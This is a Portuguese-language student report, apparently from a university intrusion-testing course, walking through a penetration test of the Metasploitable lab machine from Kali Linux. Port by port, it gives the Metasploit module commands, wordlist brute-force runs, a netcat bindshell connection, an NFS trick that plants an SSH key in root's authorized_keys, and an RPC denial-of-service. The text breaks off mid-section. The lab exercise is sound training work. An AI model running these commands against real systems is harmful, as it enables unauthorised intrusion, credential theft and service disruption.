Prévia do material em texto
Universidade Nove de Julho
Tecnologia em Segurança da Informação
Técnicas de Testes de Intrusão
Professor: Evandro Ecteruel
Daniele Souza da Silva RA 922102918
Guilherme de Souza Pereira RA 3022100598
Matheus Felipe Pereira RA 922109986
Período: 01º2 – Noturno
São Paulo
2022
SUMÁRIO
1. Introdução ..................................................................................................... 7
2. Embasamento Teórico ................................................................................. 8
2.1 Fases do Teste de Invasão ................................................................................................. 8
2.1.1 Levantar o Perfil do Alvo ............................................................................................... 8
2.1.2 Modelagem de ameaças ............................................................................................... 8
2.1.3 Realizar Varredura e Enumeração ............................................................................... 8
2.1.4 Tentar Invasão .............................................................................................................. 9
2.1.5 Pós Exploração de Falhas ............................................................................................ 9
3. Teste na Prática .......................................................................................... 10
3.1 Reconhecimento do Alvo ................................................................................................... 10
3.2 Buscando Vulnerabilidades - SCAN .................................................................................. 11
3.3 Metasploit Framework e Msfconsole ................................................................................. 12
4. Explorando Vulnerabilidades .................................................................... 13
4.1 Porta 21 ............................................................................................................................. 13
4.2 Porta 22 ............................................................................................................................. 15
4.3 Porta 23 ............................................................................................................................. 18
4.4 Porta 25 ............................................................................................................................. 20
4.5 Porta 53 ............................................................................................................................. 21
4.6 Porta 80 ............................................................................................................................. 22
4.7 Porta 111 ........................................................................................................................... 24
4.8 Portas 139 e 445 ............................................................................................................... 26
4.9 Portas 512.......................................................................................................................... 27
4.10 Porta 513 ......................................................................................................................... 28
4.11 Porta 514 ......................................................................................................................... 29
4.12 Porta 1099 ....................................................................................................................... 30
4.13 Porta 1524 ....................................................................................................................... 33
4.14 Porta 2049 ....................................................................................................................... 34
4.15 Porta 2121 ....................................................................................................................... 36
4.16 Porta 3306 ....................................................................................................................... 38
4.17 Porta 5432 ....................................................................................................................... 41
4.18 Porta 5900 ....................................................................................................................... 45
4.19 Porta 6000 ....................................................................................................................... 47
4.20 Porta 6667 ....................................................................................................................... 48
4.21 Porta 8009 ....................................................................................................................... 50
4.22 Porta 8180 ....................................................................................................................... 52
5. Tabela de Criticidade ................................................................................. 55
6. Resultados Encontrados ........................................................................... 56
7. Referências Bibliográficas ........................................................................ 57
LISTA DE FIGURAS
Figura 1 - Fases de Exploração .................................................................................................... 8
Figura 2 - Sudo su ....................................................................................................................... 10
Figura 3 - Identificando IP local ................................................................................................... 10
Figura 4 - IPs localizados na rede ............................................................................................... 11
Figura 5 - Resultado do SCAN de Portas ................................................................................... 11
Figura 6 - Informações Porta 21 .................................................................................................. 13
Figura 7 - Search vsftpd .............................................................................................................. 13
Figura 8 - Options vsftpd ............................................................................................................. 14
Figura 9 - Resultado do Exploit vsftpd ........................................................................................ 14
Figura 10 - Comando Python Executado .................................................................................... 14
Figura 11 - Informações Porta 22................................................................................................ 15
Figura 12 - Lista de Logins Comuns ........................................................................................... 16
Figura 13 - Opções do ssh_login ................................................................................................ 17
Figura 14 - Login e Senha Obtidos ............................................................................................. 17
Figura 15 - Session 1 SSH .......................................................................................................... 17
Figura 16 - Informações Porta 23................................................................................................ 18
Figura 17 - Opções Telnet Scanner ............................................................................................ 18
Figura 18 - Executando Exploit Telnet ........................................................................................ 19
Figura19 - Sessões Criadas - Telnet.......................................................................................... 19
Figura 20 - Conectando na Sessão 2 ......................................................................................... 19
Figura 21 - Usuários Encontrados............................................................................................... 20
Figura 22 - Informações Porta 53................................................................................................ 21
Figura 23 - Search ISC Bind ....................................................................................................... 22
Figura 24 - Informações Porta 80................................................................................................ 22
Figura 25 - Apache Exploits ........................................................................................................ 23
Figura 26 - Opções Exploit Apache ............................................................................................ 23
Figura 27 - Resultado Exploit Apache ......................................................................................... 23
Figura 28 - Reconhecimento da Invasão .................................................................................... 24
Figura 29 - Informações porta 111 .............................................................................................. 24
Figura 30 - Search rpcbind .......................................................................................................... 25
Figura 31 - Opções do Exploit RPCBomb ................................................................................... 25
Figura 32 - Informações das Portas 139 e 445 ........................................................................... 26
Figura 33 - Resultado Exploit Samba ......................................................................................... 27
Figura 34 - Informações Porta 512.............................................................................................. 27
Figura 35 -Resultado Invasão Porta 512 .................................................................................... 28
Figura 36 - Resultado Exploit Java_RMI ..................................................................................... 32
Figura 37 - Visualização Arquivos do Alvo .................................................................................. 33
Figura 38 - Resultado Exploit Bindshell ...................................................................................... 34
Figura 39 - Informações Porta 2049 ........................................................................................... 34
Figura 40 - Nomeando chave SSH ............................................................................................. 35
Figura 41 - Conteúdo Authorized_keys ....................................................................................... 36
Figura 42 - Resultado Invasão Porta 2049 ................................................................................. 36
Figura 43 - Informações Porta 2121 ........................................................................................... 37
Figura 44 - Opções Exploit FTP .................................................................................................. 37
Figura 45 - Resultado Exploit FTP .............................................................................................. 37
Figura 46 - Ferramenta FTP Exploit ............................................................................................ 38
Figura 47 - Informações Porta 3306 ........................................................................................... 39
Figura 48 - Opções Exploit MySQL ............................................................................................. 39
Figura 49 - Resultado Exploit MySQL ......................................................................................... 40
Figura 50 - Exploit MySQL root ................................................................................................... 40
Figura 51 - Visualização Banco de Dados .................................................................................. 41
Figura 52 - Informações Porta 5432 ........................................................................................... 41
Figura 53 - Search postgres ........................................................................................................ 42
Figura 54 - Opções Exploit postgres ........................................................................................... 43
Figura 55 - Login Obtido .............................................................................................................. 44
Figura 56 - Conexão Via Postgre ................................................................................................ 44
Figura 57 - Senha VNC Obtida ................................................................................................... 45
Figura 58 - Interface remmina ..................................................................................................... 46
Figura 59 - Invasão via remmina ................................................................................................. 46
Figura 60 - SSH com MSFadmin ................................................................................................ 47
Figura 61 - Informações Porta 6667 ........................................................................................... 48
Figura 62 - Exploit UnrealIrcd ...................................................................................................... 49
Figura 63 - Resultado Exploit Unreal IRCD ................................................................................ 49
Figura 64 - Reconhecimento do Alvo .......................................................................................... 49
Figura 65 - Informações da Porta 8009 ...................................................................................... 50
Figura 66 - Exploit Encontrado Porta 8009 ................................................................................. 50
Figura 67 - Resultado Exploit Apache Jserv ............................................................................... 51
Figura 68 - Informações Porta 8180 ........................................................................................... 52
Figura 69 - Opções Tomcat_mgr_login ....................................................................................... 52
Figura 70 - Login Obtido .............................................................................................................. 53
Figura 71 - Configurações Tomcat_Mgr_deploy ......................................................................... 53
Figura 72 - Resultado Exploit mgr_deploy .................................................................................. 54
Figura 73 - Reconhecimento Invasão @Tomcat......................................................................... 54
Figura 74 - Matriz Criticidade ...................................................................................................... 55
Figura 75 - Tabela Criticidade das Portas ................................................................................... 55
LISTA DE SIGLAS E ABREVIATURAS
AJP - Apache Jserv Protocol
DNS – Domain Name System
FTP – File Transfer Protocol
HTTP – Hypertext Transfer Protocol
HTML – HyperText Markup Language
IP - Internet Protocol
IRC - Internet Relay Chat
JSP – JavaServer Pages
RPC – Remote Procedure Call
SMTP – Simple Mail Transfer Protocol
SQL – Stuctured Query Language
SSH – Secure Shell
TCP - Transfer Control Protocol
VNC - Virtual Network Computing
X11 - X Window Syst
7
1. IntroduçãoEste trabalho tem por objetivo realizar um teste de intrusão em um
ambiente virtual com sistema operacional Ubuntu denominado ‘metasploitable’,
através de outro ambiente virtual com o sistema operacional Kali Linux.
O escopo do trabalho aborda a parte teórica de uma invasão cibernética,
passando por todas as etapas desde a coleta de informações até a exploração
do ambiente. Após a descrição das etapas, será feita uma invasão ao ambiente
virtual na prática, detalhando e evidenciando cada passo deste processo. O
objetivo é executar com sucesso a invasão ao ambiente virtual conforme descrito
nas etapas teóricas.
Ao final, esperamos que os resultados forneçam insumos suficientes para
determinarmos os níveis de criticidade dentro do sistema.
8
2. Embasamento Teórico
2.1 Fases do Teste de Invasão
Para darmos início a invasão, é necessário conhecer as etapas que o
procede. Na figura abaixo ilustramos os passos de um ataque cibernético.
Figura 1 - Fases de Exploração
Fonte: http://rmct.ime.eb.br/arquivos/RMCT_3_tri_2016_web/RMCT_275.pdf
2.1.1 Levantar o Perfil do Alvo
Nesta etapa o objetivo é coletar informações de forma livre através de
fontes como por exemplo: google, whois, e-mails, sites institucionais, entre
outros.
2.1.2 Modelagem de ameaças
Nesta fase, de acordo com a coletada de informações obtida, a pessoa
que irá realizar a invasão deve começar a elaborar estratégias para
posteriormente invadir os sistemas.
2.1.3 Realizar Varredura e Enumeração
Esta é a etapa onde se descobre as vulnerabilidades através de
ferramentas de scanning com uma base de dados. Com essas informações
obtidas do scanning, o invasor terá um auxílio ao traçar os planos de invasão.
9
2.1.4 Tentar Invasão
Dentro desta etapa é executado “exploits” de forma a explorar as
vulnerabilidades encontradas, a fim de ganhar acesso ao sistema.
2.1.5 Pós Exploração de Falhas
A última etapa da invasão consiste após o invasor ter acesso ao sistema,
ele irá tentar obter informações importantes como por exemplo hash de senhas,
elevação de privilégios e demais arquivos que sejam importantes. Podendo
ainda realizar ataques de negação de serviço e/ou corromper sistemas após o
objetivo de captura de senhas alcançado.
10
3. Teste na Prática
3.1 Reconhecimento do Alvo
Primeiramente, dentro do ambiente virtual Kali Linux, abrimos o terminal
e digitamos os seguintes comandos para alterar o usuário para root, conforme
figura abaixo.
- sudo su
Figura 2 - Sudo su
Fonte: Autor
Após isso, para identificarmos o nosso IP local, basta usarmos o
comando, conforme mostrado abaixo:
- ip a
Figura 3 - Identificando IP local
Fonte: Autor
Na sequência, executamos o comando para localizar o IP alvo, conforme
a figura abaixo:
- fping -a -g 192.168.0.6/24 2>/dev/nul
11
Figura 4 - IPs localizados na rede
Fonte: Autor
Tendo o conhecimento de que os três primeiros IPs correspondem as
máquinas física e virtual kali, o IP restante é o 192.168.0.178 que será o IP
alvo.
3.2 Buscando Vulnerabilidades - SCAN
Esta etapa consiste em uma análise onde buscamos as vulnerabilidades
no sistema. Utilizamos o IP do alvo junto ao comando conforme abaixo:
- nmap -v -n -O -sV -Pn -sS 192.168.0.183
Figura 5 - Resultado do SCAN de Portas
Fonte: Autor
No total foram encontradas 23 portas abertas com possíveis
vulnerabilidades que serão exploradas nos próximos tópicos.
12
3.3 Metasploit Framework e Msfconsole
Uma breve definição do Metaplosit pode ser descrita da seguinte forma:
O Metasploit é um framework de exploração de código aberto
concebido para proporcionar ao usuário um modelo de
desenvolvimento de exploits, possibilitando que longos trechos de
código sejam reutilizados. Essa funcionalidade diminui o tempo gasto
na implementação do código, o qual pode ser reaproveitado em
experiências futuras. (Flora, 2010)
O Metasploit Framework apresenta três interfaces de uso: MSFCli,
MSFWeb, e interface console, conhecida como MSFConsole, a qual devido ao
fácil uso, praticidade e flexibilidade foi utilizada durante o projeto. O MSFConsole
é um dos meios mais eficientes e eficazes para que durante um teste de
vulnerabilidade, se tenha um melhor aproveitamento do quadro de explorações.
As etapas realizadas durante um ataque utilizando o MSFConsole são: seleção
do exploit, seleção do alvo, seleção do payload, configuração das opções e por
último a exploração. (Flora, 2010)
13
4. Explorando Vulnerabilidades
Neste tópico iremos colocar em prática comandos do Kali Linux, exploits
e payloads através o metasploit framework. Vamos ilustrar de que forma
acontece a resposta aos comandos e as invasões aos sistemas.
4.1 Porta 21
FTP é um protocolo de internet que permite que computadores dentro de
uma rede promovam trocas de arquivos em massa. Para funcionar corretamente,
o FTP deve usar duas portas – porta 21 para comando e controle, e a porta
20 para transporte de dados. A figura abaixo ilustra o serviço e a versão rodando
na porta 21.
Figura 6 - Informações Porta 21
Fonte: Autor
Para realizar o ataque á porta 21, utilizamos os seguintes comandos:
- search vsftpd
Figura 7 - Search vsftpd
Fonte: Autor
Na sequência, utilizamos os comandos a seguir, conforme ilustrado
abaixo:
- use 0
- options
https://www.hostinger.com.br/tutoriais/ftp-o-que-e-como-funciona
14
Figura 8 - Options vsftpd
Fonte: Autor
Por último, utilizamos os seguintes comandos, conforme ilustrado
abaixo:
- set RHOST 192.168.32.130
- show missing
- show advanced
- set VERBOSE true
- exploit
Figura 9 - Resultado do Exploit vsftpd
Fonte: Autor
Com o exploit ele localiza o id root e a shell. Na sequência abre uma
sessão. Após isso, rodamos o comando: - python -c 'import
pty;pty.spawn("/bin/bash")', conforme ilustrado abaixo:
Figura 10 - Comando Python Executado
15
Fonte: Autor
Conseguimos realizar a invasão como usuário root. Este módulo explora
um backdoor malicioso que foi adicionado ao Arquivo de download do VSFTPD.
Este backdoor foi introduzido no arquivo vsftpd-2.3.4.tar.gz entre 30 de junho de
2011 e 1º de julho de 2011 de acordo com as informações mais recentes
disponíveis.
4.2 Porta 22
A Porta 22 refere-se ao serviço SSH. Este serviço é uma técnica para
logins remotos de uma máquina para outra. A imagem abaixo mostra as
informações da porta 22.
Figura 11 - Informações Porta 22
Fonte: Autor
Neste cenário foi preciso a criação de duas wordlists para um ataque de
bruteforce. Realizamos uma pesquisa breve sobre alguns usuários e senhas
mais utilizados em logins e a partir desta pesquisa criamos duas listas com os
nomes senha.txt e login.txt., conforme a figura abaixo:
16
Figura 12 - Lista de Logins Comuns
Fonte: Autor
Para realizar o ataque, utilizamos o módulo
auxiliary/scanner/ssh/ssh_login que irá verificar as listas criadas conforme
cada login e senha nos arquivos txt. Após selecionar o módulo, configuraremos
as opções disponíveis, de acordo com o código abaixo:
- search ssh_login
- use auxiliary/scanner/ssh/ssh_login
- set Rhosts 192.168.10.132
- set pass_file /home/kali/senha.txt
- set user_file /home/kali/login.txt
- show options
17
Figura 13 - Opções do ssh_login
Fonte: Autor
Por fim, após configurado, utilizamos o comando “run”, conforme figura
abaixo:
Figura 14 - Login e Senha Obtidos
Fonte: Autor
Neste ataque foi possível localizar o usuário msfadmin com o login
msfadmin e uma sessão que podemos utilizar foi criada. Nestaparte podemos
fazer um reconhecimento da máquina invadida, porém, o usuário invadido não
possui autoridade total, conforme figura abaixo:
- msf6 auxiliary(scanner/ssh/ssh_login) > sessions 1
Figura 15 - Session 1 SSH
Fonte: Autor
18
4.3 Porta 23
A vulnerabilidade telnet é um protocolo de rede local ou na internet que
facilita uma comunicação baseada em texto interativo bidirecional. A imagem
abaixo ilustra as informações da porta 23.
Figura 16 - Informações Porta 23
Fonte: Autor
Neste cenário usaremos as wordlists criadas anteriormente na invasão da
porta 22 para um ataque de bruteforce. Utilizaremos o módulo use
auxiliary/telnet/telnet_login disponibilizado no metasploit que verificará login e
senha baseado nas wordlists. Após a seleção do módulo, faremos as seguintes
configurações:
- search telnet_login
- use auxiliary/telnet/telnet_login
- auxiliary(scanner/telnet/telnet_login) > show options
- auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.10.132
- auxiliary(scanner/telnet/telnet_login) > set user_file /home/kali/login.txt
- auxiliary(scanner/telnet/telnet_login) > set pass_file /home/kali/senha.txt
- auxiliary(scanner/telnet/telnet_login) > show options
Figura 17 - Opções Telnet Scanner
Fonte: Autor
19
Por último, utilizamos o comando “run”, conforme figura abaixo:
Figura 18 - Executando Exploit Telnet
Fonte: Autor
O módulo conseguiu entrar com dois usuários da wordlist o msfadmin
com a senha msfadmin e o user com a senha user, como mostra a figura
acima, duas sessões foram criadas. Entrando em qualquer sessão, podemos
fazer o reconhecimento situacional e conseguimos usar algumas funções,
porém, nenhum usuário tem autoridade plena na máquina, conforme a figura
abaixo:
- show sessions
Figura 19 - Sessões Criadas - Telnet
Fonte: Autor
- Sessions 2
Figura 20 - Conectando na Sessão 2
20
Fonte: Autor
4.4 Porta 25
A porta 25 refere-se ao serviço SMPT (Simple Mail Transfer Protocol) que
é um protocolo de envio de e-mails. Neste cenário não podemos invadir a
máquina, porém, conseguimos descobrir usuários validos. Para fazermos a
verificação utilizamos a ferramenta smtp-user-enum tool.
- Smtp-user-enum -M VRFY -U
/usr/share/metasploitframework/data/wordlists/unix_users.txt -t
192.168.10.132
− Smtp-user-enum: Nome da ferramenta
− -M VRFY: Método a ser usado para adivinhar expn
− -U : uma wordlist com nomes de usuário para verificar serviços smtp
− -t : Servidor host a ser verificado
Na figura abaixo, aplicaremos este comando para obtermos as seguintes
informações de usuários:
Figura 21 - Usuários Encontrados
21
Fonte: Autor
4.5 Porta 53
A porta 53 refere-se ao serviço BIND (Berkeley Internet Name Domain).
Este serviço é um servidor para protocolo DNS muito utilizado principalmente por
sistema UNIX. A figura abaixo mostra a porta 53 e seu respectivo serviço:
Figura 22 - Informações Porta 53
Fonte: Autor
Neste cenário não foi possível realizar uma exploração. Não foram
encontrados exploits relacionados ao serviço “ISC BIND” conforme a figura
abaixo:
- Search isc bind
22
Figura 23 - Search ISC Bind
Fonte: Autor
4.6 Porta 80
A porta 80 possui o serviço Apache httpd 2.2.8. Este serviço é um
hypertext tranfsfer protocolo para World Wide Web que permite a transferência
de documentos HTML.
Figura 24 - Informações Porta 80
Fonte: Autor
Para a invasão, foi feito uma busca por exploit prontos para essa
vulnerabilidade, obtendo dois resultados remote code execution como mostrado
abaixo.
- searchsploit apache 2.2.8 | grep php
23
Figura 25 - Apache Exploits
Fonte: Autor
Na sequência iniciamos a busca do exploit através do “msfconsole” e
seguimos os comandos a seguir:
- grep cgi search 5.4.2
- msf6 auxiliary(scanner/http/http_version)
- use exploit/multi/http/php_cgi_arg_injection
- show options
Na figura abaixo ilustramos as opções de configuração disponíveis para
este exploit. E na sequência o comando “run” para a invasão.
Figura 26 - Opções Exploit Apache
Fonte: Autor
- msf6 exploit(multi/http/php_cgi_arg_injection) > run
Figura 27 - Resultado Exploit Apache
Fonte: Autor
Nesta etapa, foi feito o reconhecimento da máquina. Também foi realizado
teste de download e upload de arquivos na máquina, sendo possível fazer
24
download de alguns itens restritos e não podendo fazer upload. A figura abaixo
ilustra o reconhecimento da máquina.
Figura 28 - Reconhecimento da Invasão
Fonte: Autor
4.7 Porta 111
A porta 111 refere-se ao serviço RPCbind ou Portmapper e é utilizado
para mapear serviços RPC na rede, como NIS e NFS. Esse serviço normalmente
é utilizado por sistemas Unix, principalmente para compartilhamento de arquivos,
além de outros serviços. A imagem a seguir ilustra a porta 111 e seu respectivo
serviço:
Figura 29 - Informações porta 111
Fonte: Autor
Na sequência, abrimos o “msfconsole” e após isso utilizamos o comando
“search rpcbind”, conforme a figura abaixo:
- search rpcbind
25
Figura 30 - Search rpcbind
Fonte: Autor
Encontramos um exploit disponível e utilizamos ele através do comando
“use 0”. Na sequência utilizamos o comando “show options” e configuramos
conforme a figura abaixo:
- show options
- set rhosts 192.168.0.183
- run
Figura 31 - Opções do Exploit RPCBomb
26
Fonte: Autor
Este exploit não permite um acesso à máquina alvo, porém ele permite
um ataque de negação de serviço (DoS). Desta forma o usuário não conseguirá
acessar páginas ou links na web e sofrerá com lentidão no sistema. Este módulo
explora uma vulnerabilidade em certas versões do rpcbind, LIBTIRPC e NTIRPC,
permitindo que um invasor acione alocações de memória grandes (e nunca
liberadas) para strings XDR no alvo.
4.8 Portas 139 e 445
Ambas as portas 139 e 445 referem-se a um mesmo serviço chamado
“Samba smbd”. Com isso, dentro do “msfconsole”, utilizaremos o comando a
seguir para encontrar a versão desse serviço, conforme figura abaixo:
- nmap -T4 -A -p 139,445 192.168.0.178
Figura 32 - Informações das Portas 139 e 445
Fonte: Autor
Após encontrarmos a versão do serviço, utilizamos os seguintes
comandos:
- search Samba 3.0.20
- use exploit/multi/samba/usermap_script
- set rhosts 192.168.0.178
- exploit
27
E por fim teremos acesso total, através do usuário root, conforme figura
abaixo:
Figura 33 - Resultado Exploit Samba
Fonte: Autor
4.9 Portas 512
A porta 512 refere-se ao serviço de execução remota chamado de Rexec,
muito semelhante ao SSH. Este serviço permite que os usuários executem
comandos não interativos em outro sistema remoto. Este sistema remoto deve
estar executando servidor (rexecd) como no nosso caso. Por padrão, este
serviço requer um usuário e senha válidos para o sistema de destino. Conforme
já obtido um usuário e senha anteriormente (msfadmin, msfadmin), usaremos a
seguir. A imagem abaixo ilustra as informações da porta 512.
Figura 34 - Informações Porta 512
Fonte: Autor
Para esta invasão, precisamos ter instalado a ferramenta “SSH” já citada
anteriormente, conforme comando abaixo:
28
- sudo apt install rsh-client
Por fim, conseguimos invadir a máquina alvo utilizando o seguinte
comando abaixo, conforme ilustrado a seguir.
- ssh -l root 192.168.0.183
Figura 35 -Resultado Invasão Porta 512
Fonte: Autor
4.10 Porta 513
Esta porta refere-se ao serviço rlogin. Este é um serviço de acesso
remoto que permite um usuário autorizado fazer login em máquinas UNIX, além
de permitir que o usuário registrado opere a máquina remotamente como se
estivesse logado na máquina física. Este serviço assemelha-sea outros serviços
remotos como telnet e SSH. A figura abaixo ilustra as informações da porta 513.
Figura 36 - Informação Portas 512, 513 e 514
Fonte: Autor
Para esta invasão, utilizamos o seguinte comando, conforme ilustrado
abaixo.
- rlogin -l root -p 513 192.168.0.183
29
Figura 37 - Resultado Invasão Porta 513 rlogin
Fonte: Autor
4.11 Porta 514
A porta 514 refere-se ao Remote shell. Este é um serviço de acesso
remoto que permite aos usuários um shell no sistema de destino. A
autenticação não é necessária para este serviço. A imagem abaixo ilustra as
informações da porta 514.
Fonte: Autor
Para esta invasão, utilizamos a ferramenta de RSH, conforme o
comando abaixo para instalação.
- sudo apt install rsh-server
30
Figura 39 - Resultado Invasão RSHExec
Fonte: Autor
4.12 Porta 1099
A porta 1099 refere-se ao serviço java-rmi. Isso significa que é um rmi-
Remote Method Invocation e fornece comunicação remota entre os aplicativos
do servidor usando dois objetos.
Utilizamos um comando nmap para obter mais informações sobre a porta,
conforme comando e ilustração abaixos:
- nmap -T4 -A -p 1099 192.168.0.178
31
Figura 40 - Informações Porta 1099
Fonte: Autor
Na sequência abrimos o “mfsconsole” e na sequência utilizamos o
seguinte comando, conforme figura abaixo:
- search java_rmi_server
Figura 41 - Exploits Java_RMI
Fonte: Autor
Na sequência utilizamos o exploit a seguir:
- exploit/multi/misc/java_rmi_server
Utilizamos o comando “show options” para abrir as opções de
configuração e na sequência configuramos o IP alvo conforme o comando a
seguir:
- set rhosts 192.168.0.178
32
Figura 42 - Opções Exploit Java_RMI
Fonte: Autor
Para finalizar, utilizamos o comando “run” ou “Exploit” para conseguirmos
o acesso remoto, conforme a figura abaixo:
Figura 36 - Resultado Exploit Java_RMI
Fonte: Autor
Porém, desta forma ainda não conseguimos acesso total. Portanto
utilizamos o comando “shell” para total invasão da máquina, conforma figura
abaixo:
- shell
- id
33
- whoami
Figura 37 - Visualização Arquivos do Alvo
Fonte: Autor
4.13 Porta 1524
A porta 1524 refere-se a um bindshell, ou seja, é um canal de ligação entre
dois IPs, que pode ser feita através de uma ferramenta, por exemplo o net-cat.
Abrimos um terminal dentro do Kali e utilizamos os seguintes comandos para
invasão:
- sudo apt install netcat-traditional
- nc 192.168.0.178 1524
34
Figura 38 - Resultado Exploit Bindshell
Fonte: Autor
O acesso remoto foi feito rapidamente e iniciado como usuário root,
tendo acesso a todas as pastas e diretórios.
4.14 Porta 2049
A porta 2049 refere-se ao serviço NFS. Este serviço possui uma versão
RPC (Remote Procedure Call), ou seja, um serviço que permite uma conexão
remota. Abaixo temos ilustrado as informações desta porta.
Figura 39 - Informações Porta 2049
Fonte: Autor
35
Para esta invasão, utilizamos a seguinte série de comandos:
- showmount -e 192.168.0.183
- mkdir -p /root/.ssh (Cria um ou mais novos diretórios)
- cd /root/.ssh (Seleciona o diretório)
- ssh-keygen -t rsa -b 4096
O “ssh-keygen” é uma ferramenta para criar novos pares de chaves de
autenticação para SSH. Nesta etapa nomeamos o nome do par de chave, no
caso será: “kalitest3”. A figura abaixo ilustra essa etapa:
Figura 40 - Nomeando chave SSH
Fonte: Autor
Prosseguindo com a invasão, utilizamos a seguinte série de comandos:
- mount -o nolock -t nfs 192.168.0.183:/ /mnt (Montar um sistema de arquivos)
- cd /mnt/root/.ssh (Mudar de diretório)
- cp /root/.ssh/kalitest3.pub /mnt/root/.ssh (Copiar arquivos e diretórios)
- cat kalitest3.pub >> authorized_keys (Combinar arquivos anexando o
conteúdo de um arquivo ao final de outro arquivo e criar novos)
- cat authorized_keys (Exibir conteúdo do arquivo)
36
Figura 41 - Conteúdo Authorized_keys
Fonte: Autor
- ssh -i /root/.ssh/kalitest3 root@192.168.0.183
Figura 42 - Resultado Invasão Porta 2049
Fonte: Autor
4.15 Porta 2121
A porta 2121 refere-se ao serviço ProFTPd. Este serviço é um Software
opensource sendo um dos servidores FTP mais populares. A figura abaixo ilustra
o serviço da porta 2121.
37
Figura 43 - Informações Porta 2121
Fonte: Autor
Neste cenário fizemos um ataque de brute force com as wordlist já criada
e citadas anteriormente na porta 22. Para essa invasão utilizaremos o módulo
auxiliary/scanner/ftp/ftp_login que verificará todos os logins e senhas da
wordlists. Após a seleção do módulo é preciso configurar ela.
- search ftp_login
- use auxiliary/scanner/ftp/ftp_login
- show options
- set rhosts 192.168.10.132
- set rport 2121
- set user_file /home/kali/login.txt
- set pass_file /home/kali/senha.txt
- show options
Figura 44 - Opções Exploit FTP
Fonte: Autor
- msf6 auxiliary(scanner/ftp/ftp_login) > run
Figura 45 - Resultado Exploit FTP
Fonte: Autor
38
O módulo identificou o login e senha como msfadmin, mas nenhuma
sessão foi criada, para invadimos a máquina é necessário usar a ferramenta
FTP como mostrado na figura abaixo. Após a invasão foi feito o reconhecimento
e teste, porém, como adentramos a máquina com um usuário sem autoridade
total, as funções que podemos fazer são limitadas.
- ftp 192.168.10.132 2121
Figura 46 - Ferramenta FTP Exploit
Fonte: Autor
4.16 Porta 3306
O MYSQL é um gerenciador de banco de dados da Oracle, que utiliza a
linguagem SQL. A figura abaixo ilustra a porta 3306 rodando o serviço mysql
com a sua respectiva versão.
39
Figura 47 - Informações Porta 3306
Fonte: Autor
Nesta primeira etapa, o módulo tentará uma conexão com o MySQL do
host 192.168.10.132, em sua primeira tentativa utilizará o login “root” com a
senha em branco com a senha em branco, posteriormente ele utilizar duas
wordlist para a senha e login com cada uma das palavras dos arquivos
unix_passwords.txt e unix_users.txt. Abaixo segue os códigos utilizados:
− search mysql
− use auxiliary/scanner/mysql/mysql_login
− show options
− set rhosts 192.168.10.132
− set rport 3306
− set USERNAME root
− set userpass_file /usr/share/metasploit-
framework/data/wordlists/unix_users.txt
− set pass_file /usr/share/metasploit-
framework/data/wordlists/unix_passwords.txt
− show options
Figura 48 - Opções Exploit MySQL
Fonte: Autor
40
− msf6 auxiliary(scanner/mysql/mysql_login) > run
Figura 49 - Resultado Exploit MySQL
Fonte: Autor
O módulo conseguiu fazer duas conexões sem senhas com os logins
“root” e “guest”.
− msf6 auxiliary(scanner/mysql/mysql_login) > mysql -h 192.168.10.132 -u root -p
Figura 50 - Exploit MySQL root
Fonte: Autor
A partir desta vulnerabilidade é possível criar, deletar e modificar as bases
de dados do MYSQL, conforme ilustra na figura abaixo.
41
Figura 51 - Visualização Banco de Dados
Fonte: Autor
4.17 Porta 5432
A porta 5432 está rodando um serviço em linguagem de banco de dados
“Postgresql”. A figura abaixo ilustra o serviço e sua respectiva versão.
Figura 52 - Informações Porta 5432
Fonte: Autor
Para realizar a invasão, primeiramente utilizamos o comando
“msfconsole” e na sequência utilizamos o comando “Search”, conforme figura
abaixo:
- Search postgres
42
Figura 53 - Search postgres
Fonte: Autor
Conforme ilustrado acima, achamos alguns exploits relacionados a esta
linguagem de programação (Postgresql). Utilizamos o exploit de número 9,
conforme a figura abaixo:
- auxiliary/scanner/postgres/postgres_login
- Show options
43
Figura 54 - Opções Exploit postgres
Fonte: AutorPara configurar esse exploit, utilizamos os seguintes comandos:
- set USERNAME postgres
- set USER_AS_PASS true
- set rhosts 192.168.0.183
- run
Com isso, conseguimos obtemos um login através desse exploit,
conforme a figura abaixo:
44
Figura 55 - Login Obtido
Fonte: Autor
Com esta informação de login, conseguimos uma invasão na máquina
alvo através do serviço “postgre” (porta 5432), conforme a figura abaixo:
- psql -h 192.168.0.183 -U postgres
Figura 56 - Conexão Via Postgre
Fonte: Autor
A senha utilizada foi a padrão de mesma identidade que o login:
“postgres”. O comando “psql” utilizado acima permite ao usuário executar
consultas SQL e visualizar os seus resultados, conforme ilustrado
45
4.18 Porta 5900
A porta 5900 refere-se a um serviço VNC (Virtual Network Computing). É
um sistema de compartilhamento gráfico de desktop. Para invadirmos essa
porta, primeiramente abrimos o “msfconsole”. Na sequência utilizamos os
comandos a seguir:
- search VNC protocol 3.3
- use auxiliary/scanner/vnc/vnc_login
- set rhosts 192.168.0.178
- exploit
Após isso, obtemos uma senha que se refere a uma VNC, conforme figura
abaixo:
Figura 57 - Senha VNC Obtida
Fonte: Autor
Na sequência, precisamos instalar uma ferramenta suporte, que permitirá
o acesso, através do seguinte comando:
- sudo apt-get install remmina
Com essa ferramenta instalada, executamos ela dentro do Kali Linux, fora
do terminal, a seguir inserimos a senha obtida, conforme a figura abaixo:
46
Figura 58 - Interface remmina
Fonte: Autor
E por último conseguimos acesso “root” à máquina do usuário, com total
acesso, conforme figura abaixo:
Figura 59 - Invasão via remmina
Fonte: Autor
47
4.19 Porta 6000
A porta 6000 refere-se ao serviço “X11”. Este serviço é uma interface
gráfica com o conceito de janelas. A imagem abaixo ilustra as informações desta
porta.
Figura 60 - Informações Porta 6000
Fonte: Autor
Para esta invasão, foram encontrados 6 exploits disponíveis porém
nenhum deles foi efetivo. Na sequência utilizamos os comandos a seguir para a
tentativa de invasão:
- Search x11
- use auxiliary/scanner/x11/open_x11
- set rhosts 192.168.0.183
-run
Figura 61 - SSH com MSFadmin
Fonte: Autor
48
4.20 Porta 6667
A porta 6667 refere-se ao serviço UnrealIRCD. Este serviço é um software
open soucer sendo um daemon IRC baseado no DreamForge. A imagem abaixo
ilustra as informações da porta 6667.
Figura 62 - Informações Porta 6667
Fonte: Autor
Para invasão desta porta, utilizamos o exploit
exploit/unix/irc/unreal_ircd_3281_backdoor disponibilizado no Metasploit e o
payload cmd/unix/bind_ruby que dará acesso diretamente ao usuário root da
máquina. Após a seleção do exploit e do payload, fizemos as seguintes
configurações:
- search UnrealIRCd
- use exploit/unix/irc/unreal_ircd_3281_backdoor
- show options
- set RHOSTS 192.168.10.132
- show payloads
- set payload cmd/unix/bind_ruby
- show options
